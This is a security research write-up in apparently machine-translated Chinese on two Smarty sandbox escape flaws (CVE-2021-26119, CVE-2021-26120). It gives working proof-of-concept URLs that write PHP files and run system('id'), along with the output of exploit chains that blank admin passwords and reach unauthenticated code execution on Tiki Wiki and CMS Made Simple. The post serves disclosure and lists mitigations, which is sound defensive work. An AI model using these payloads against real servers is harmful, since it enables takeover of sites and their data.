Smarty 模板引擎多沙箱逃逸 PHP 代码注入漏洞
在这篇博文中,我们探讨了在Smarty 模板引擎中发现的两个不同的沙盒逃逸漏洞,上下文相关的攻击者可以利用这些漏洞执行任意代码。然后我们探讨如何将这些漏洞应用于一些尝试以安全方式使用引擎的应用程序。
发现的漏洞影响 Smarty 模板引擎 <= 3.1.38:
1.template_object沙箱逃逸PHP代码注入
此漏洞针对暴露和实例化的Smarty
实例,并通过使用未记录的沙盒强化功能得到部分缓解。它被修补为 CVE-2021-26119。
2. Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP 代码注入
此漏洞以编译引擎为目标,在 3.1.38 及以下版本中未得到缓解(即使是使用未记录功能的硬化沙箱)。它被修补为 CVE-2021-26120。
背景
什么是智能?
Smarty 是 PHP 的模板引擎,有助于将表示 (HTML/CSS) 与应用程序逻辑分离。这意味着 PHP 代码是应用程序逻辑,并且与表示分离。
哲学
Smarty 设计主要受以下目标驱动:
- 将演示文稿与应用程序代码完全分离
- PHP 后端,Smarty 模板前端
- 补充 PHP,而不是替换它
- 程序员和设计师的快速开发/部署
- 快速且易于维护
- 语法简单易懂,无需 PHP 知识
- 定制开发的灵活性
- 安全性:与 PHP 隔离
- 免费、开源
为什么将 PHP 与模板分开很重要?
沙盒:当 PHP 与模板混合时,对模板可以注入什么类型的逻辑没有限制。Smarty 将模板与 PHP 隔离开来,创建了表示与业务逻辑的受控分离。Smarty 还具有安全功能,可以进一步对模板实施精细限制。
环境
我们必须假设一个可能发生模板注入的环境。许多应用程序允许用户修改模板,并且鉴于 Smarty 明确声明它有一个沙箱,因此很可能会按照开发人员的意图公开此功能。
诚然,作者知道有两种方式可以导致模板语法的注入:
$smarty->fetch($_GET['poc']);
$smarty->display($_GET['poc']);
矢量图
鉴于我们在上面的情景并假设启用了默认安全模式,那么攻击者可以通过以下方式提供自己的模板代码:
/page.php?poc=resource:/path/to/template
/page.php?poc=resource:{your template code here}
将resource:
需要是一个有效的资源,提供的一些默认值是:
- 文件
使用file:
资源时,代码将从本地文件中提取。我仍然认为这是一个远程向量,因为许多应用程序允许文件上传,并且攻击者可以提供模板文件的相对路径或完整路径,这意味着 UNC 路径也可以在 Windows 环境下工作。
- 评估
使用eval:
您的模板代码时,只需在Smarty_Resource_Recompiled
课堂上进行评估。请注意,这与常规 PHP eval 不同。
- 细绳
使用string:
资源时,代码将首先将模板写入磁盘,然后将其包含在Smarty_Template_Compiled
类中。
易受攻击的例子
此处介绍的概念证明可能针对不同的沙箱配置。
默认沙盒
Smarty
此页面使用默认设置创建一个新实例并启用安全模式:
<?php
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->enableSecurity();
$smarty->display($_GET['poc']);
硬化沙箱
已创建超越默认沙箱的强化沙箱页面,以启用 Smarty 可以提供的最安全配置:
<?php
include_once('./smarty-3.1.38/libs/Smarty.class.php');
$smarty = new Smarty();
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->php_functions = null;
$my_security_policy->php_handling = Smarty::PHP_REMOVE;
$my_security_policy->php_modifiers = null;
$my_security_policy->static_classes = null;
$my_security_policy->allow_super_globals = false;
$my_security_policy->allow_constants = false;
$my_security_policy->allow_php_tag = false;
$my_security_policy->streams = null;
$my_security_policy->php_modifiers = null;
$smarty->enableSecurity($my_security_policy);
$smarty->display($_GET['poc']);
template_object 沙箱逃逸 PHP 代码注入
漏洞分析
这个漏洞的根本原因是从超级变量访问Smarty
实例。$smarty.template_object
让我们从获取Smarty_Internal_Template
对象的引用开始。该值只是分配模板对象,它是to{$poc=$smarty.template_object}
的一个实例。这会生成以下代码:Smarty_Internal_Template$poc
$_smarty_tpl->_assignInScope('poc', $_smarty_tpl);
这是在类中的compile
函数中执行的Smarty_Internal_Compile_Private_Special_Variable
:
case'template_object':
return'$_smarty_tpl';
如果我们$poc
现在检查对象,我们可以看到它包含许多有趣的对象属性:
object(Smarty_Internal_Template)#7 (24) {
["_objType"]=>
int(2)
["smarty"]=>
&object(Smarty)#1 (76) { ... }
["source"]=>
object(Smarty_Template_Source)#8 (16) { ... }
["parent"]=>
object(Smarty)#1 (76) { ... }
["ext"]=>
object(Smarty_Internal_Extension_Handler)#10 (4) { ... }
["compiled"]=>
object(Smarty_Template_Compiled)#11 (12) { ... }
这里的问题是攻击者可以访问smarty
或parent
属性,这将使他们能够访问 Smarty 实例。
开发
静态方法调用技术
因此,既然攻击者可以访问该smarty
属性,他们可以简单地将其作为第三个参数传递给Smarty_Internal_Runtime_WriteFile::writeFile
which 将任意文件写入磁盘(在哪里写入原语)。这与James Kettle在 2015 年执行的技术相同。
能够将任意文件写入目标文件系统几乎可以保证获胜,但攻击者永远不能太确定。环境可能有很大不同,webroot 中的可写目录可能不存在,.htaccess 可能会阻止对后门的访问,等等。
鉴于这种情况,我提出了一种特定于应用程序的技术,可以利用该漏洞直接远程执行代码,而无需这些环境因素。
如果使用string:
资源,将调用其中包含已编译模板文件process
的方法。Smarty_Template_Compiled
public function process(Smarty_Internal_Template $_smarty_tpl)
{
$source = &$_smarty_tpl->source;
$smarty = &$_smarty_tpl->smarty;
if ($source->handler->recompiled) {
$source->handler->process($_smarty_tpl);
} elseif (!$source->handler->uncompiled) {
if (!$this->exists || $smarty->force_compile
|| ($_smarty_tpl->compile_check && $source->getTimeStamp() > $this->getTimeStamp())
) {
$this->compileTemplateSource($_smarty_tpl);
$compileCheck = $_smarty_tpl->compile_check;
$_smarty_tpl->compile_check = Smarty::COMPILECHECK_OFF;
$this->loadCompiledTemplate($_smarty_tpl);
$_smarty_tpl->compile_check = $compileCheck;
} else {
$_smarty_tpl->mustCompile = true;
@include $this->filepath; // overwrite this file and then include!
有可能我们可以动态访问类的这个filepath
属性,Smarty_Template_Compiled
以便我们可以将它用作文件写入的位置。
这种技术的好处是临时位置必须是可写的,资源才能工作并且它与平台无关。
概念证明
使用 PHP 的内置网络服务器和Default Sandbox提供的页面作为目标,运行以下 poc两次。
http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}
请求需要触发两次的原因是第一次写入缓存文件,然后覆盖。第二次触发缓存并包含文件以进行远程代码执行。
减轻
作为临时解决方法,static_classes
可以在自定义安全策略中取消该属性以防止访问Smarty_Internal_Runtime_WriteFile
该类。然而,这是有代价的,并且会大大减少功能。例如,在Yii框架中访问Html::mailto
,JqueryAsset::register
和其他静态方法调用将不起作用。
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->static_classes = null;
$smarty->enableSecurity($my_security_policy);
我不认为这是一个完整的缓解措施,因为在打开安全模式时默认情况下未启用此功能,并且无法解决漏洞的根本原因。
沙盒禁用技术
假设我们有一个更难的目标,它不使用默认安全模式,而是尝试定义它自己的安全策略,就像Hardened Sandbox示例一样。仍然可以绕过这个环境,因为我们可以访问Smarty
实例并使用它来禁用沙箱并直接渲染我们的 php 代码。
概念证明
http://localhost:8000/page.php?poc=string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system('id')}')}
减轻
作为临时解决方法,该disabled_special_smarty_vars
属性可以包含带有字符串的数组template_object
。
但是,此功能完全没有文档记录。以下是如何防止攻击的示例:
$my_security_policy = new Smarty_Security($smarty);
$my_security_policy->disabled_special_smarty_vars = array("template_object");
$smarty->enableSecurity($my_security_policy);
就像静态方法调用技术一样,我不认为这是一个完整的缓解措施,因为默认情况下沙箱中没有启用它。
Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP 代码注入
漏洞分析
编译模板语法时,Smarty_Internal_Runtime_TplFunction
类在定义tplFunctions
. 让我们看一个带有以下模板的示例:
{function name='test'}{/function}
我们可以看到编译器生成如下代码:
/* smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
if (!function_exists('smarty_template_function_test_8782550315ffc7c00946f78_05745875')) {
function smarty_template_function_test_8782550315ffc7c00946f78_05745875(Smarty_Internal_Template $_smarty_tpl,$params) {
foreach ($params as $key => $value) {
$_smarty_tpl->tpl_vars[$key] = new Smarty_Variable($value, $_smarty_tpl->isRenderingCache);
}
}
}
/*/ smarty_template_function_test_8782550315ffc7c00946f78_05745875 */
假定由攻击者控制的test
字符串被多次注入到生成的代码中。值得注意的例子是不在单引号内的任何内容。
由于这是多次注入,我发现很难提出一个针对第一行注释注入的有效负载,因此我选择了函数定义注入。
概念证明
使用 PHP 的内置网络服务器和Hardened Sandbox提供的页面作为目标,运行以下 poc:
http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}
提基维基
当我们将 CVE-2020-15906 和 CVE-2021-26119 结合在一起时,我们可以使用此漏洞实现未经身份验证的远程代码执行:
researcher@incite:~/tiki$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /tiki-20.3/ id
researcher@incite:~/tiki$ ./poc.py 192.168.75.141 /tiki-20.3/ "id;uname -a;pwd;head /etc/passwd"
(+) blanking password...
(+) admin password blanked!
(+) getting a session...
(+) auth bypass successful!
(+) triggering rce...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/tiki-20.3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
CMS 变得简单
当我们将 CVE-2019-9053 和 CVE-2021-26120 结合在一起时,我们可以使用此漏洞实现未经身份验证的远程代码执行:
researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py <host> <path> <cmd>
(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"
researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
参考
- https://portswigger.net/research/server-side-template-injection
- https://chybeta.github.io/2018/01/23/CVE-2017-1000480-Smarty-3-1-32-php%E4%BB%A3%E7%A0%81%E6%89%A7% E8%A1%8C-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/